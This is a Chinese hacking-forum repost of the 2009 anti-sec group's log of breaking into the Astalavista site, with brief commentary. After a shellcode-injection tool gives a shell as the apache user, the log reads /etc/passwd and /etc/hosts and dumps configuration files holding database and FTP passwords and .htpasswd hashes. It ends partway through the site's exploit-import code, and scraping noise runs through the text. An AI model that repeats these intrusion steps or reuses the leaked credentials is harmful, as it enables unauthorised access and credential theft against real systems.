找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2240|回复: 0
打印 上一主题 下一主题

Astalavista被蹂躏过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:07:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
里面两个亮点,一是远程获得apache用户权限的shell,banner是LiteSpeed,看来这玩意有0day,但是又怎么是用apache用户跑的,原来LiteSpeed这东西是和apache绑一起的,大概看了下介绍,主要功能是anti-ddos,这东西貌似还有点意思,回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。4 b6 A( v" o5 Z! k# d( f. Y

* U% ~4 _2 k  g, a$ M3 j[root@front3 ~]# curl -I litespeedtech.com' ~+ s: q4 L$ p/ h  X; o
HTTP/1.1 200 OK
& k  B4 v0 y! YDate: Fri, 05 Jun 2009 22:54:51 GMT
4 ~1 }8 S3 E& z/ _/ `' eServer: LiteSpeed
5 L+ g' L: r8 c) O' _: b% |; y! D/ N; H% q
另外一个亮点就是localroot了,如果不是udev的话,那么就是RHEL5.3  x64还有一个localroot 0day -_-
8 L1 ~( `2 |2 }, i8 U  z- a( s% F5 g) o
有人说astalavista被黑是因为Y拿milw0rm的东西赚钱,这个我觉得就是每个人的尺度问题,有人还把别人写的文章弄成自己写的,还有人把别人的程序改成自己的,多了去了。& n7 M- ?; Y7 `5 o9 e+ m
' I3 q# @6 |9 |1 U7 ~. }% @
9 D% r3 k" s7 A; ^! ]! M. I
/  _  \  /   _____/\__    ___/  _  \ |    |     /  _  \   \ /   /|   |/   _____/\__    ___/  _  \
1 @! j. Z2 ~' K/  /_\  \ \_____  \   |    | /  /_\  \|    |    /  /_\  \   Y   / |   |\_____  \   |    | /  /_\  \
0 o$ S# e1 p+ Y8 X. J% ^6 x2 ^" x/    |    \/        \  |    |/    |    \    |___/    |    \     /  |   |/        \  |    |/    |    \
4 O8 X5 T+ G) A. Y\____|__  /_______  /  |____|\____|__  /_______ \____|__  /\___/   |___/_______  /  |____|\____|__  /
( s% i3 k8 C& X( n5 P# K& X        \/        \/                 \/        \/       \/                     \/                 \/% {, ?% b  r( @5 B! C0 c* v, ~
                                  The Hacking & Security Community; h& l, D8 e# ~7 M
[+] Founded in 1997 by a hacker computer enthusiast9 U& }2 N8 o  |9 h
[-] Exposed in 2009 by anti-sec group
' A$ v5 I5 Y- `3 }/ e/ u
& {* S3 a; Q8 qFrom < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:
& w+ P0 `  A1 F5 F: v/ R9 R6 r>> 03. Who’s behind the site?, ?/ Y. ^# H- ]$ z) ?/ T
>>
& @& h: Z9 [. |, N: B1 S5 M& F+ X6 f. I>> A team of security and IT professionals, and a countless number of contributors from all over the world.
; G( r( T. |$ f: I; I/ @* Y/ ]- r. u# i4 j
>> 05. Is it true that the site is visited by script-kiddies and warez fans only?$ \" r" u9 z8 J4 S
>>6 Q) ]! h1 M; `, m: x  b
>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
6 ?# [' e  m3 Y8 p7 Xmilitary institutions.3 t# c7 p/ ]# O7 l0 |' d- ?
>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.- J/ S) `! b$ h9 P
& R. v" p' k9 I& h. [% u. u
Why has Astalavista been targeted?6 G" t3 K# C/ S- M- g7 e: o! A
- k8 V1 l4 I( |, }+ c
Other than the fact that they are not doing any of this for the “community” but
2 v0 p/ x9 n# F$ x7 ~) Jfor the money, they spread exploits for kids, claim to be a security community6 t" b" d) h/ F7 o: {" D7 y; s
(with no real sense of security on their own servers), and they charge you $6.66
9 ~0 w' i/ P3 Tper months to access a dead forum with a directory filled with public releases! x! c8 `5 ]4 r) n/ p7 N
and outdated / broken services.
% i$ f; i$ ^2 Z) R  j# K- W: \* n. P' r# I/ b
We wanted to see how good that “team of security and IT professionals” really is.% T0 D6 Q* l0 h# W, E3 f% t) M

; s( N. |1 a$ i+ ~8 yLet’s begin.5 n2 u7 w0 o+ @. J0 D2 k. y

2 m$ T3 D6 n2 danti-sec:~# ./g0tshell astalavista.com -p 80
. r6 ^8 `2 c+ Q# Z+ |, J9 b[+] Connecting to astalavista.com:80
! G% t! x- {% m8 D* V4 M, B. w7 m[+] Grabbing banner…
" {" ~3 v1 I. P0 y/ D" O) U( Z. TLiteSpeed
. p( o9 N: N) D5 z3 }[+] Injecting shellcode…
' [/ r/ a. R' ][-] Wait for it
% B3 e6 I. X+ `& l, \
+ ^( Y0 s. N" ?( ~) P[~] We g0tshell* m+ W8 I, r6 N1 d0 Z& Y
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
/ b4 z6 M$ A0 k( K' uID: uid=100(apache) gid=500(apache) groups=500(apache)" Z" v6 J' \$ g& G# R0 d& c) m6 s
3 a- i2 b) c0 G4 Z
sh-3.2$ cat /etc/passwd! x; ], n# W  d% b9 R. d
root:x:0:0:root:/root:/bin/bash
3 k4 L4 d7 Y* I% Ubin:x:1:1:bin:/bin:/sbin/nologin
9 ]5 s  X, u- R% R) idaemon:x:2:2:daemon:/sbin:/sbin/nologin5 T% h8 m0 p( K$ I9 i8 O/ b
adm:x:3:4:adm:/var/adm:/sbin/nologin
4 P# F$ S# J! d$ ~" g! Hlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin& }8 H; b& b1 j) r4 J1 @8 S: f- Z
sync:x:5:0:sync:/sbin:/bin/sync$ m7 H/ _7 a  g5 K! L4 M3 J
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
" Q/ F' F$ A. c* C/ j( I9 Z0 \halt:x:7:0:halt:/sbin:/sbin/halt3 X# ]+ d; Y0 Y4 Z* R: V# T4 P6 d
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin5 Z: |9 w" ^" Q: }
news:x:9:13:news:/etc/news:
( r7 y8 w; _4 g, C( Fuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin$ U" p+ ?5 d+ Y! ^. f. @& q
operator:x:11:0perator:/root:/sbin/nologin
" L, ?8 l! Q; u+ z4 \' ygames:x:12:100:games:/usr/games:/sbin/nologin( x$ r  y  O. S! x
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
1 E9 S" ~) [9 k/ O, r; e: U6 jftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
3 D  O8 i# h5 i# ?; q, e# l! Onobody:x:99:99:Nobody:/:/sbin/nologin
6 g4 @5 h3 j$ C  F* N% A/ G* Wrpm:x:37:37::/var/lib/rpm:/sbin/nologin( J7 ~0 D0 P4 x  z+ Z
dbus:x:81:81:System message bus:/:/sbin/nologin
  P, ~) L: ?1 B# k( rnscd:x:28:28:NSCD Daemon:/:/sbin/nologin
& {* X7 k3 W/ |( k3 z( kmailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
' }* N- _. q/ w& |3 T+ psmmsp:x:51:51::/var/spool/mqueue:/sbin/nologin! t- C/ P! t  i% j9 X
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin; C9 G8 i7 Q7 t; w+ `
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
; C* W7 P$ t! Y' ^3 s1 M$ urpc:x:32:32ortmapper RPC user:/:/sbin/nologin
: W; x9 k; n5 z3 Trpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
+ |' z$ e- m8 j/ Rnfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin6 W6 T1 q! B3 g2 Y+ {3 o/ s
sshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
+ R9 d$ b, r9 t- J- l8 U8 v* d+ {1 L4 jpcap:x:77:77::/var/arpwatch:/sbin/nologin
2 r& n6 ^" {6 A& z, b  snamed:x:25:25:Named:/var/named:/sbin/nologin+ }5 x2 F- r3 j/ Y" A6 C
apache:x:100:500::/var/www:/bin/false. I1 @0 ~  a" V; B/ n/ [
diradmin:x:101:101::/usr/local/directadmin:/bin/bash& V/ N6 ~# t& D$ \; s) u  n. |) L
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash' b9 _+ @5 _- r5 W4 e. y
webapps:x:500:501::/var/www/html:/bin/bash8 ^: q% M8 R, U8 X
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash: ?# v% `' [3 F0 V# {
admin:x:501:502::/home/admin:/bin/bash
% W. [, u; f$ h# a4 H9 ]1 ajon:x:502:503::/home/jon:/bin/bash
- h$ D' b* W2 u+ i* Wcom:x:503:504::/home/com:/bin/bash
8 w! C' W2 o: m$ S6 {ntp:x:38:38::/etc/ntp:/sbin/nologin
1 Q7 H# _* h  E- L) H' e7 _ais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin; Y$ E) @; r- s
astanet:x:504:505::/home/astanet:/bin/bash' B% l& ]+ \9 ]
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
1 Y# X7 V; |" k" wavahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
3 `( U- E3 Z$ |& i& m( f$ t
8 \1 ~- b( P6 |1 d  Ysh-3.2$ cat /etc/hosts' S" }( X7 I! X1 M! ^0 W7 {6 q
# Do not remove the following line, or various programs& |4 }- A# L1 x; k. Q# C- K
# that require network functionality will fail.
6 M& v" S; c2 k# F; X9 l6 N0 I127.0.0.1       localhost.localdomain   localhost
+ x: i6 Y9 ^5 b  X, A; I! R::1     localhost6.localdomain6 localhost6
* P$ k; Q- g9 `. c; p7 ~80.74.154.172           asta1.astalavistaserver.com5 ^1 N/ g' M6 a- r9 x" B6 M7 h
- E. S. B6 o! V$ q8 v
sh-3.2$ pwd
; F) m8 j2 h0 L% k/home/com/public_html% G) O' h! l! d# s

2 N0 O4 ^3 i0 w2 v! f& ^sh-3.2$ ls -la
3 u& w. b5 c3 H4 ntotal 18460
( Q9 g0 X0 \9 G1 g4 Odrwxr-xr-x 30 com apache     4096 May 28 17:06 .
: ~5 S  s: h% T3 r: G: O' V9 Kdrwx–x–x 11 com com        4096 Jun 25  2008 ..3 H; h/ [2 n( J8 f
drwxr-xr-x  2 com com        4096 Feb  2 19:29 admin  B# ]% c+ n( U0 i* \9 F" l' d
drwxrwxrwx  2 com com    18591744 Jun  4 08:04 cache
9 H' \7 x) m# D* Y, Z' ?6 Xdrwxr-xr-x  6 com com        4096 Mar 28 21:17 cadmin
4 A5 C+ s; F3 g. edrwxrwxrwx  2 com com        4096 May 19 00:50 config
+ B' j+ q1 @- K/ F7 z+ f' Hdrwxr-xr-x  2 com com        4096 Mar 20 11:05 core8 ~. T. J0 O: o! q3 K; \) U( X
drwxr-xr-x 18 com com        4096 Feb  2 19:29 core_modules8 \0 N6 R, x( Y
drwxr-xr-x  4 com com        4096 Feb  2 19:29 customizing
  p% C3 {) e; n; p! z  `drwxr-xr-x  2 com com        4096 May 11 13:24 customizing_paulo# C" b+ o( R; k& v7 V6 i$ Z$ a
drwxr-xr-x  6 com com        4096 Mar 30 12:28 __DELETE__/ d& I  w" e7 Y5 J, k* l
-rw-r–r–  1 com com        8035 May 19 14:26 directory_to_mediadir.php& D  L' ~) _8 w( G5 C. P) q
drwxr-xr-x  2 com com        4096 Sep  9  2008 dvd# i/ ]& E: g" `0 l# a
drwxr-xr-x  3 com com        4096 Feb  2 19:29 editor
) G% Q" M* o7 S/ N-rw-r–r–  1 com com        3750 Feb 27 16:12 favicon.ico
; D4 g$ B  H8 f; Z, gdrwxrwxrwx  2 com com        4096 Jun  4 08:00 feed" t6 d- [: u1 C( m: M
-rwxrwxrwx  1 com com       10736 May 29 12:44 .htaccess8 i% _0 S& |# w/ J1 c
-rw-r–r–  1 com com        7638 Apr 21 08:45 .htaccess.2009-04-21.bak5 M$ Y" p+ r: N/ w5 R9 o1 \
-rw-r–r–  1 com com       10768 May 11 11:53 .htaccess.2009-05-11.bak
, e+ ^/ v, [. A9 ^drwxr-xr-x 18 com com        4096 Apr  9  2008 ideapool2 B0 ^: S2 `. _3 _! s: W
drwxrwxrwx 14 com com        4096 Feb  2 19:29 images
7 ~7 e! l+ g; O( B& r-rw-r–r–  1 com com       97496 Jun  2 13:01 index.php7 W# e- x' f4 W  H8 S
drwxr-xr-x  6 com com        4096 Feb  2 19:29 installer
" X+ @# j& ]6 Rdrwxr-xr-x  8 com com        4096 Feb  2 19:29 lang: j- J8 h1 N1 Y( `
drwxr-xr-x 22 com com        4096 Feb  2 19:29 lib& f5 F$ k: c; `
drwxrwxrwx 12 com com        4096 Jun  2 07:47 media! D0 G% z4 Z$ e4 j; Q1 F1 z3 G
drwxr-xr-x  8 com com        4096 May 11 12:48 modifications, e  S) }7 ^3 D/ C
drwxr-xr-x 34 com com        4096 May 28 16:30 modules) j- c: ^% [2 T' W* A/ j- q
drwxr-xr-x 11 com com        4096 Jan 30 15:00 _myAdmin0 Z3 T3 Q5 c! b4 e( m( N
drwxrwxr-x 22 com com        4096 May 28 17:06 _new1 N6 W: X0 S0 M( W
drwxr-xr-x 26 com com        4096 Feb  2 19:27 _old
: j$ ~0 `$ ]9 I# E/ O  Ndrwxr-xr-x  2 com com        4096 Mar 30 12:29 phproxy
& b/ M7 I! `1 C4 x4 edrwxr-xr-x  2 com com        4096 Mar 30 12:30 proxy5 n- X9 i; h7 {  T' F
-rw-r–r–  1 com com          26 Feb  2 19:33 robots.txt! E; ~; W7 w$ e
-rwxrwxrwx  1 com com       10844 Jun  2 09:50 sitemap.xml$ @" i* N; l5 ^0 z% U
-rw-r–r–  1 com com         223 Mar 30 15:32 test.php, B7 J4 Q* T# I+ c% ?* q
drwxrwxrwx  8 com com        4096 Mar  6 13:15 themes
. R, C9 C5 |) F6 R2 p0 l" x$ ydrwxrwxrwx  3 com com        4096 Jun  4 08:00 tmp! W) s" a- U0 Z8 `
drwxr-xr-x  3 com com        4096 Feb  2 19:33 webcam
1 P2 d" t+ ~4 I( f4 e. C. r/ G  O/ Q" [) J
sh-3.2$ head -20 index.php) v0 c$ `: D# Z1 f% ~/ U
<?php
+ }( ?4 F3 B) v& g! O9 a
$ e* o8 z: D( L( e7 R6 N/**/ l- h$ Q: j' _7 P' V! n( `
* The main page for the CMS
# c) |4 X" |$ R: s# L1 e2 h  G* @copyright   CONTREXX CMS - COMVATION AG
& t3 i7 N) S3 e% ]* x* @author      Comvation Development Team; f/ _% t! c  A
* @version     v1.0.9.10.1 stable
. L6 E% u9 ?& H  _' X- H/ a& p9 S# m7 J* @package        contrexx5 W( ^1 O% D2 k) A) j" S: U
* @subpackage    core
0 D  g* t  S& O' D: h* @link        链接标记[url]http://www.contrexx.com/[/url] contrexx homepage! [- X  V7 p$ t0 \
* @since       v0.0.0.0' ]! r; g8 r2 o7 d
* @todo        Capitalize all class names in project
  Z. a: I' v- L4 O2 s* @uses        /config/configuration.php3 u9 J$ t' Q$ n) B8 ~
* @uses        /config/settings.php% O  r! S9 M5 H: D7 N
* @uses        /config/version.php$ F# d, ^& e  e
* @uses        /core/API.php
, \/ B; q9 U( W. R0 j0 q* @uses        /core_modules/cache/index.class.php. z9 G/ B1 f' q) M
* @uses        /core/error.class.php& Q$ f' i7 s6 Y+ m( [
* @uses        /core_modules/banner/index.class.php
8 P' ^8 B! a4 f9 \9 O8 u* @uses        /core_modules/contact/index.class.php/ `( @; z- c5 f  q7 i7 O
, e& o) l, r. b, j5 W
sh-3.2$ cd config/
& i, W8 a$ G! I. Bsh-3.2$ ls -la9 X2 {9 p6 r5 Z* l; ~, t
total 32
7 p8 t1 {8 ~4 v+ b: Xdrwxrwxrwx  2 com com    4096 May 19 00:50 .
1 T! s4 N6 F3 gdrwxr-xr-x 30 com apache 4096 May 28 17:06 ..) v$ M/ r+ {3 I$ q& E
-rwxrwxrwx  1 com com    2998 May 11 12:29 configuration.php
1 g+ M/ g, ?9 J2 b7 q7 Z' U-rwxrwxrwx  1 com com    7610 May 28 17:27 set_constants.php
. S5 u/ X( W( p' N7 C-rwxrwxrwx  1 com com    4186 May 25 12:54 settings.php, h: y, I: O! A& U
-rwxrwxrwx  1 com com     672 Feb  2 19:29 version.php* h7 r" P7 ~! U" z; n/ B' r

9 {' i- c5 A; Vsh-3.2$ cat configuration.php# l1 p% h. N  n9 d. W/ ]" _4 @
[snip]
9 w. u0 x2 U# T- V  k! F. p$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost# {; P7 ~# S0 E8 X2 w, \
$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name; _* b7 P+ M  |8 f: D0 q
$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix
2 S0 e" d5 X1 N$ j/ L. E  q$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username
" S% [# @" x& p  M$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password* N' W) X+ Q/ `) k
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)
! n+ L" E+ n9 _3 r$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)( J/ I! C! i  O* \% z2 J$ b
[snip]
! G: ?" T' v5 W! z! x. Z$_FTPCONFIG['is_activated'] = true; // Ftp support true or false3 F' [  N$ f, A1 n
$_FTPCONFIG['use_passive'] = true;      // Use passive ftp mode
7 Y: W  m! t- ^' k0 k; O$_FTPCONFIG['host']     = ‘localhost’;// This is normally set to localhost# f; _- e0 S! p4 P6 J# u+ W
$_FTPCONFIG['port'] = 21; // Ftp remote port
, E/ _  C8 _! S/ \$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username
4 c$ a  k; T. Y& e9 O3 i' g$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password
" N4 r$ [9 q" z3 b2 z  L$_FTPCONFIG['path']     = ‘/’; // Ftp path to cms
7 S# T4 |, |* Y1 b, z, s: o9 x* R4 f% {' b# c
sh-3.2$ cd ..
, x+ g2 A; r6 Q9 [9 q* Ksh-3.2$ cd dvd/
( }) c0 G# L) q3 Qsh-3.2$ ls -la
) N: d; {$ ]! ~1 v; u- w3 |0 ^8 Dtotal 2913780* d/ `: i1 z4 R  Q( X. H  b0 w
drwxr-xr-x  2 com com          4096 Sep  9  2008 .
+ D5 F) g, f+ j3 y0 Ndrwxr-xr-x 30 com apache       4096 May 28 17:06 ... g2 {- h$ L2 F
-rw-r–r–  1 com com    1050061483 May 16  2008 astalavista_security_toolbox_dvd_2008.part1.rar0 K( }& O% d/ ]
-rw-r–r–  1 com com    1050061483 May 16  2008 astalavista_security_toolbox_dvd_2008.part2.rar
4 A1 ?; c8 n5 f# }+ M( [* w-rw-r–r–  1 com com     880644069 May 16  2008 astalavista_security_toolbox_dvd_2008.part3.rar6 P8 S, e  {$ q8 N0 W; s1 Q1 l* M
-rw-r–r–  1 com com           115 Jan 29  2008 .htaccess# V, c& q8 W) H. P& J2 l& s
( K# h# O3 r' \. g1 z2 O
sh-3.2$ cat .htaccess* D1 G3 d. t0 Y9 J- |
authType Basic* f. i2 {8 ]) _  a7 S2 i2 P
authName DVD+ ?2 }& Q, x; [7 M6 I- e
authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd; l# u/ H8 R; h# Z+ b
require valid-user
6 E2 I, ?0 i; I, _; ~8 |( }. J5 P2 W1 N1 c1 ]) Y
sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
0 \5 S+ F8 F  f, ~$ F" dDVDdownload:CRD8cuY6.MPT65 y3 d2 e3 }5 Z0 Z( h" ]
DVDdownload2:CR8a36.wluFMg, i5 n4 n' H8 |+ {' s) y" {# d

3 d& R* `6 E+ H3 P7 V) [* Csh-3.2$ cat test.php
  K$ n% }* [* E  z8 u0 m: s9 C<?php
& x5 M+ i# E  {: z; v$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;, I( M  Q) P5 w( c
$url = str_replace(array(’&amp;’, ‘&#38;’), ‘&’, base64_decode(rawurldecode($url)));. z# A1 t6 y3 j7 r
echo $url;8 P, S9 }: m: t$ ?* o' j- s2 n
?>7 {  v7 U3 V$ @5 a4 v) y

: t; x- c& n2 {$ ?3 ~. ]+ w! Zsh-3.2$ cd modifications/
5 G4 F* L) U, T$ Xsh-3.2$ ls -la
+ M" t" q& ^# C% C$ Qtotal 32
2 J+ Q, b% ~4 O8 Y" `% Idrwxr-xr-x  8 com com    4096 May 11 12:48 .+ J5 X9 E% D! T; b
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..8 [$ l: C, y, p) c" a
drwxr-xr-x  3 com com    4096 Feb  2 19:33 com_avtng
* }! y  d  X( C3 P$ {, E5 d2 edrwxr-xr-x  3 com com    4096 May 12 09:26 cronjobs4 B* _' S, [1 ?/ ]( f9 B# x
drwxr-xr-x  2 com com    4096 Mar  2 10:35 onlinetools% @# D4 a; o) ^) x* G8 W  T. M3 g
drwxr-xr-x  4 com com    4096 Feb  2 19:33 pjirc& N7 `1 t5 L+ f! i4 y( a: o
drwxr-xr-x  2 com com    4096 Feb  2 19:33 search
6 F: D* T/ y! ~drwxr-xr-x  2 com com    4096 Mar 25 08:56 _tmp
9 n$ }8 t2 e0 `( Q7 S  ^) L: `, ]% d" C. e1 y' i& J% d
sh-3.2$ ls -R
: d, Q  ^9 e! a# T( m.:7 z1 l2 `- G. Z0 T: R
com_avtng  cronjobs  onlinetools  pjirc  search  _tmp
1 U4 t' K4 A! [/ c! J
  Y3 u/ R: ]# X  E! M  s; @./com_avtng:
& M  D- R0 ?, \6 G! R$ Mavtng.php  banner_bottom.inc.php  banner_button.inc.php  banner_content.inc.php  banner_popunder.inc.php  banner_right.inc.php  banner_top.inc.php  iframe.php  scripts! v& ~) p8 X% A; r% [

0 m& V/ x/ a6 D' Q) k$ d8 \3 p./com_avtng/scripts:- T$ j" l. {# D
popunder.js
4 i+ v8 O/ ]) g' Q& y" C- b( z' v% K" M1 o
./cronjobs:
+ i6 ]1 Y0 ~  D1 J; Uexploits.php  exploits.sh  google_blogindexing.php  ip2country.sh  proxydb2.php  proxydb.php  securitynews.php  tmp! s% {& Q, Y$ H9 [- O$ N
; @8 r: N2 N! K6 l
./cronjobs/tmp:8 _( N# h  k3 m5 x( ?
contrexx_module_onlinetools_defaultports.csv  contrexx_module_onlinetools_geolitecity_country.csv, h' a7 H  j3 @
6 C, @5 `" `% Y# U: p% E
./onlinetools:
+ L" e- q' n  \' E3 [. Z# aindex.php
8 B6 G% X9 c1 A: {  a/ E/ y: z9 a) `! i; {, _4 r2 U% f. @0 ^  |
./pjirc:
7 ^3 J$ O5 n' Z/ `% V1 ^0 ra_big.jpg          english.lng       img              irc.jar           NormalApplet.html  pixx-french.lng  pjirc.cfg       securedirc-unsigned.cab  thanks.txt
5 ~7 k. G6 |7 H+ ]+ |! rAppletWithJS.html  french.lng        IRCApplet.class  irc-unsigned.jar  pixx.cab           pixx.jar         readme.txt      SimpleApplet.html        versions.txt% l: x. o  N6 A
background.gif     HeavyApplet.html  irc.cab          license.txt       pixx-english.lng   pixx-readme.txt  securedirc.cab  snd5 i1 z+ b: ^: \* r- p8 P$ @2 B
, a" b& `4 R8 u- w% Z( d
./pjirc/img:! _* q6 s( _0 x$ n! J$ i( y/ R+ e
ange.gif    bombe.gif   clin-oeuil.gif         content.gif  enerve2.gif  garcon.gif     langue.gif  mecontent.gif  ordi.gif       portable.gif   sapin.gif    triste.gif) U. g: v  K) W/ l, k5 F) E. }
arbre.gif   bouche.gif  clin-oeuil-langue.gif  cool.gif     femme.gif    grognon.gif    lettre.gif  newbie.gif     pere-noel.gif  pouce-non.gif  sleep.gif   0 y: q. W2 W4 d5 ^
verre-eau.gif
: ^. d: T9 j( u/ ?( ^argh.gif    bouqin.gif  coeur-brise.gif        diable.gif   fille.gif    halloween.gif  lit.gif     OH-1.gif       pleure.gif     pouce-oui.gif  soleil.gif  6 P7 L: J0 |* r  s* c
verre-vin.gif
. b  R( s8 }6 E. w$ G% Qballon.gif  cadeau.gif  coeur.gif              dwchat.gif   fleur.gif    hamburger.gif  love.gif    OH-2.gif       poisson.gif    roll-eyes.gif  sourire.gif  yinyang.gif
7 X! B# H5 H7 n- T) ?biere.gif   chien.gif   comprends-pas.gif      enerve1.gif  fume.gif     homme.gif      lune.gif    OH-3.gif       pomme.gif      rouge.gif      terre.gif( V! B1 G# c. D0 W

# E9 p- r, s1 p2 U./pjirc/snd:, u8 r# n% p/ l  ~+ q
bell2.au  ding.au
4 G5 I# }4 \/ w& I: W9 a8 J0 n# \* P4 ?0 j3 ]$ A8 ~  }2 }! c
./search:2 p1 h( @$ j8 R; l4 w/ J
searchEngines.php  search.php
+ V$ x7 V( F  O9 v
. u# Q; p1 E0 b) v7 ]4 D" x2 Z./_tmp:9 ?" ^- x" q! _; k+ u0 e- Z
defaultPorts.php  defaultPorts.txt
3 h( D4 P0 B# N# j8 d4 ^' I1 m5 n1 V8 {4 N
sh-3.2$ cd cronjobs/
( ?, M  m! A; h7 G  Gsh-3.2$ cat exploits.php
$ W, d5 j- r0 l8 e% H# K4 J[snip]7 U% E4 E+ n1 k* D* N
$categories   = array();
- O' S5 @. Y1 ]; t* v% x$milw0rmFile  = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;7 Q. @+ J* X" E; {7 Z# D& W1 A" d
$expolits     = file($milw0rmFile);. g; g/ Q2 |' S5 d' |8 H
$comExploits  = array();; z. D- `$ v7 w
[snip]3 Y' |' }' o# p4 Q
// manage data) C; ]2 P% g8 I
for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640
. a: b7 Z$ {3 k/ o0 ?+ Z; ?; l' _! t1 V) s6 V% Y
    // get path and title) Z, g% i9 P' m4 h
    $expolits[$x] = trim($expolits[$x]);2 l' A: r! g9 B3 d
    $path         = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));: p' e$ j# F0 A. G0 |0 X
    $title        = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);- a: S% \7 y  d% o# m1 Z

+ q1 s; ^6 T0 t: y" V: M2 U& t9 C    // check if file exists
) ~8 e5 V. [- c9 t    if (file_exists($path)) {' w; V: g% y2 x. j5 i" X- ]
# J% j; h5 A) Q4 P# k1 @5 I
        $text = file_get_contents($path);
- v; S: j  m2 J  n# U$ D* \& ~# g4 ^" e. B
        // get content and date. A" T! h$ h6 B$ z, q6 p
        //$text = htmlspecialchars($text, ENT_QUOTES);9 d; o/ r2 y0 ^8 h& N6 W, B
        $tmptext = addslashes(htmlentities($text,  ENT_QUOTES, “UTF-8″));
. Y& ^* V4 l8 Q3 f8 v8 b        if ($tmptext != ”) {
( T" L+ |3 q% e4 D            $text = $tmptext;" }, n. ^- c1 {3 N+ p- F2 }* V6 Y# A
        } else {% K+ d! \, p9 z+ p: {3 H- \
            $text = addslashes(htmlentities($text,  ENT_QUOTES));3 _: _) b  D( g7 ?: ~( d
        }
  X3 b: q4 b) Y2 l        $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));
# y/ C$ @' ]" d0 F; `# v        $tmp  = explode('-', $date);
2 U$ R7 j. x' o3 F: R        $date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));& d$ D% E  D! `+ w6 Q: ]+ s- E# Y
        $cat  = getCategory ($path);
1 a4 J8 S2 i1 b- X- ]: u0 a0 P) g6 I        $ext  = pathinfo(basename($path));
& u1 k% Y6 R+ o8 {2 |. j1 _        $ext  = $ext['extension'];
$ Y, D9 j! K0 g& s+ ~9 m, r        $qStr = ”
) N2 u) @& ]% s. i! r2 E# l' |- N: i            SELECT  `id`" t1 h9 l: ]2 Q- u# x3 t& e
            FROM    `contrexx_module_exploits`
; J8 d7 ]6 X5 \6 b1 U            WHERE   `title`  =  ‘” . $title . “‘
/ E$ ?( F1 Z+ w. ?. n0 `            AND     `date`   =  ‘” . $date . “‘( F* d& V* t) V# x
        “;) w- _$ c0 P- x9 {8 d
        echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;
+ O8 K8 }+ C5 x9 c+ G( r8 }        $q = $_objDB->query($qStr);
" ]9 b! n! \! l* D0 [+ f$ g: ~: t" `* ~$ s$ {( u* |# I
        if ($q->numRows() == 0) {
9 B( j. `+ O9 p3 q0 I. o4 s
6 V  V5 X. t/ v: u            // prepare array
8 K( V$ m& H/ E: O5 [            $comExploits[$x]['date']      = $date;( j/ s- r: U) x) ~4 N3 B" z
            $comExploits[$x]['title']     = $title;: @+ V+ \. {5 X1 Z# O1 B  f
            $comExploits[$x]['author']    = ‘milw0rm’;. Y4 h" ?5 d2 y; z2 C
            $comExploits[$x]['text']      = $text;; [; Y. n! U, C8 F7 I% I% N
            $comExploits[$x]['source']    = $ext;2 B2 C  j5 f! \, D
            $comExploits[$x]['url1']      = ”;) z: U, I' K, @, R
            $comExploits[$x]['url2']      = ”;
9 L& w2 }/ W3 c0 N            $comExploits[$x]['catid']     = $cat;
2 F- ^/ c9 C/ V" ]. W; @            $comExploits[$x]['lang']      = ‘2′;' f! i! S/ Y, I1 N. H: c
            $comExploits[$x]['userid']    = ‘12′;
